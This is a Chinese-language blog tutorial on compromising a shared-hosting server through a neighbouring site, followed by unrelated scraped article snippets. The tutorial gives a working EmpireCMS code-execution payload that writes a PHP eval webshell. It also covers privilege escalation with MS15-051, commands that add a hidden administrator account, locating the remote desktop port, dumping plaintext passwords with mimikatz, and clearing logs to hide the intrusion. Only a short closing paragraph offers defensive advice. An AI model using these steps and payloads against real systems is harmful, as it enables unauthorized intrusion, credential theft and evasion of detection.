【未知攻焉知防】如何利用旁注渗透入侵服务器站点

1. 概述

此文原出自【爱运维社区】: http://www.easysb.cn

旁注(旁站,其实是同一个意思),顾名思义,就是从旁边的站点注入,是渗透入侵常用的一种手段。通常,一台服务器上有很多个站点,这些站点之间没有必然的联系,是相互独立的,使用的是不同的域名(甚至端口都不同),但是它们却共存在一台服务器上。

如果我们要对某一个站点进行直接渗透无法突破时,那么我们可以对同服务器的其他站点进行渗透,只要能打破一个缺口,就能沦陷服务区上的整个站点,甚至是一个集群。

我们这次以实际的一个站点为例,简要阐述一下旁注的渗透原理及其危害。

2.  旁注渗透

我们这次以某站点www.xxxx168.com 为例, 阐述一下旁注的原理及其危害(请勿对实例站点进行攻击)

2.1 获取同服务器的旁站

我们打开某网站,其页面如下:

简单ping一下该网站,得到该网站的IP地址为 xxx.xxx.152.76.

打开IP反查域名网站http://dns.aizhan.com/,找出该IP上所绑定的域名信息,然后我们可以得到该IP上有6个域名绑定在上面。

2.2 寻找突破点

在上面的6个站点中,我们只要突破一个站点就可以把整个服务器拿下来。至于怎么找突破点,每个人都每个人的方法,只要你耐心寻找。比如,在上面的6个站点中,我发现有个站点采用的是帝国cms,而且后台是弱密码,我就直接进去了。

2.3 利用突破点拿shell

由于帝国cms系统模型中存在一个代码执行的漏洞,我们可以利用此漏洞拿到webshell。打开系统=>数据表与系统模型=》管理数据表=》管理系统模型

在本地新建一个文件,文本内容为<?fputs(fopen("x.php","w"),"<?eval(\$_POST[cmd]);?>")?> 再命名为1.php.mod

导入这个1.php.mod文件,数据表名写个tmpxxxx(注意别重复),然后就会执行里面的php代码,在ecmsmod.php的相同目录下生产x.php的一句话木马文件,即在路径e/admin/x.php。

我们使用菜刀连过去,测试一句话写入成功!

2.4 提权

使用菜刀发现无法执行cmd指令,应该设置了安全模式,所以我们得想个其他的办法:

·上PHP大马,无法执行 :)

· 上ASP大马,还是无法执行 :)

· 最后上ASPX大马,提示找不到文件,然后我们就上传cmd.exe到web目录下, 发现可以执行了,用户是service,还不是管理员,如下图所示:

我们查看一下系统的信息,发现是WIN2003的VPS, 应该是32位的机器

然后然后我们就上传32位的提权工具(MS15-051)上去(当然你可以用其他的提权工具),执行whoami,发现提权成功已经是system权限了。

然后分别执行一下两条命令,添加一个用户testabc,

net user testabc password /add
net localgroup administrators testabc /add

2.5 查找远程连接端口

在添加完用户之后,使用远程桌面工具(mstsc)无法连接,初步判断应该端口不是绑定在3389了,这时候我们得查找连接端口。执行一下命令:

tasklist /svc 

然后找到TermService进程对用PID号为2060,如下图:

然后再找PID 2060所对应的端口号,执行一下命令:

netstat /ano | findstr 2060

最终找到该服务器的远程连接端口为65138.

2.6 获取管理员密码

使用远程桌面工具,连接上去,OK!

使用mimikatz工具(网上有很多一键抓取的工具都可以使用),抓取管理员的明文密码,如下:

2.7. 清除记录

清除记录一般有以下的内容:

1. Web日志

2. 删除木马,提权exp等工具

3. 删除测试账户testabc

4. 系统日志记录

2.8 安全防护

安全不是一个点的问题,而是一个立体的的问题,任何细小的漏洞都有可能导致蝴蝶效应,造成极大的危害。而很多安全问题,并不是系统本身的问题,大部分是相关人员没有任何安全意识造成的,所以加强安全意识,积极部署安全防护系统才可以很大程度上保证系统的安全。

作者:胡杨<[email protected]><[email protected]>

此文原出自【爱运维社区】: http://www.easysb.cn

如转载请标明原出处,谢绝阉割党。

时间: 2024-11-16 18:56:00

【未知攻焉知防】如何利用旁注渗透入侵服务器站点的相关文章

清明时节欲断魂——未知死焉知生?

孔夫子在<论语>里面有一段话,叫做“未知生焉知死”,当然这是否能够代表孔子的生死观我们不敢妄下断言,但至少它代表了一种典型的生死态度.生的事情你都还没弄明白呢,死你管它干什么?在我们看来生的问题永远搞不明白,那死的问题你根本就不用想了.与此相对的是基督教的一种观念,或者说宗教的一种观念,它其实是从人对死的思考来展开的——未知死焉知生?你对死后的东西不弄明白,那你这个生的意义在哪里?人生究竟有没有归宿啊?有没有来生来世啊?有没有天堂地狱啊? 这两个观点之间的对比我们不去谈它,但是的确我们中国人的

腾讯云如何建站,利用腾讯云服务器建站流程介绍

腾讯云服务器买好之后,下一步我们就是建立自己的网站,对于一些小白用户来说,还不知道购买好腾讯云服务器之后,如何建立自己的网站,今天就介绍下利用腾讯云服务器建站流程: [腾讯云]云产品采购季,助力行业复工.1核2G云服务器,首年99元 https://cloud.tencent.com/act/cps/redirect?redirect=1053&cps_key=bc2a905407a3a1aaa9ff26fe9b78522f&from=console 首先我们登录腾讯云服务器控制台,可以通

利用LoadRunner判断HTTP服务器的返回状态

利用LoadRunner判断HTTP服务器的返回状态第一种方法:是利用LR的内置函数web_get_int_property.举例:#include "web_api.h"Action(){int HttpRetCode;web_url("网易",       "URL=http://www.163.com",       "TargetFrame=_TOP",       LAST);HttpRetCode = web_ge

利用NLB群集实现WEB站点的高可用部署

利用NLB群集实现WEB站点的高可用部署 前面的博文中和各位博友聊了如何搭建一个WEB站点,那么今天就和大家聊聊如何实现WEB站点的高可用性. 在本文中我们利用NLB来为大家讲解如何实现WEB站点的高可用: NLB简介: 网络负载平衡群集(简称:NLB),起作用时防止单一的节点故障,其部署至少需要两台服务器,NLB的作用就是当群集中的某个节点出现故障或者停止工作是,其运行服务会自动切换到群集的另一台主机,当然和我们其他群集一样,当来访流量过多的时候NLB群集会自动实现网络负载,防止负载不均,从而

如何在WinXP下利用IIS架构Web服务器

看到很多知名企业家靠做网站发家,想必现在很多网络爱好者都想要尝试,在自己的电脑上架构网站,架构网站需要选择一个好用的系统,WinXP系统是目前比较流行的一个,由于它的系统占用资源少,没有太多繁杂的功能,操作简单,因此收到普遍欢迎.下面就由小编来告诉大家如何在WinXP下利用IIS架构Web服务器. 推荐:最新WinXP系统 利用Windows XP的组件就可以满足建站的要求,而且安全性能不错. 安装IIS 在Windows XP 专业版中,IIS并不是默认安装的,而是作为可选的组件,现在我们要建

利用crtmpserver搭建rtmp服务器

Google + 实践:终于直播成功. 这样,后续就可以对代码进行改造,利用开源代码实现:Android平台下,搭建rtmp服务器,浏览器端利用flash播放视频. 代码架构为:ffmpeg + crtmpserver + flash ,进一步拆分:flv muxer + librtmp + crtmpserver + flash 进入正题: 1. 下载crtmpserver ,地址: 2. 下载ffmpeg,下载地址: 利用crtmpserver搭建rtmp服务器

Windows下利用rsync实现邮件服务器数据的同步

Windows下利用rsync实现邮件服务器数据的同步 背景环境 对系统管理员来说,平时的工作重心应该集中在维护 系统正常运转,能够正常提供服务上,这里往往牵涉到 一个数据备份的问题,在我所了解的情况中,有80%的系统管理员不是太关心自己服务器的安全性,但往往对 备份镜像的技术相当感兴趣,但由于商业产品的软硬件价格都相当高昂,因此往往会选择自由软件.rsync就 是这样的软件,它可以满足绝大多数要求不是特 别高的备份需求.适用于数据不是很大,海量小的文件的存储备份,结合服务器本身的磁盘阵列技术,

metasploit利用漏洞渗透攻击靶机

1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算机处于同一个网段中,可以相互通讯,Kali系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁. 如图1,kali的IP为:192.168.19.128 如图2:靶机的IP:

利用Appserv搭建多个站点(多站点配置)

AppServ 是 PHP 网站开发的一个工具包,包含Apache .PHP .MySQL.我们在开发网站时,经常是在本地开发完成后,然后上传到服务,所有会用到多站点配置,怎么利用Appserv搭建多个站点(多站点配置). 1.下载appserv,可以到官方网站下载,百度直接搜索Appserv就可以,打开后点击DOWNLOAD按钮,现在最新版是8.4.0. 2.安装appserv,这里需要注意的是,在安装过程中可以选择安装哪些,可以根据需要安装. 3.修改hosts文件. 打开 windows\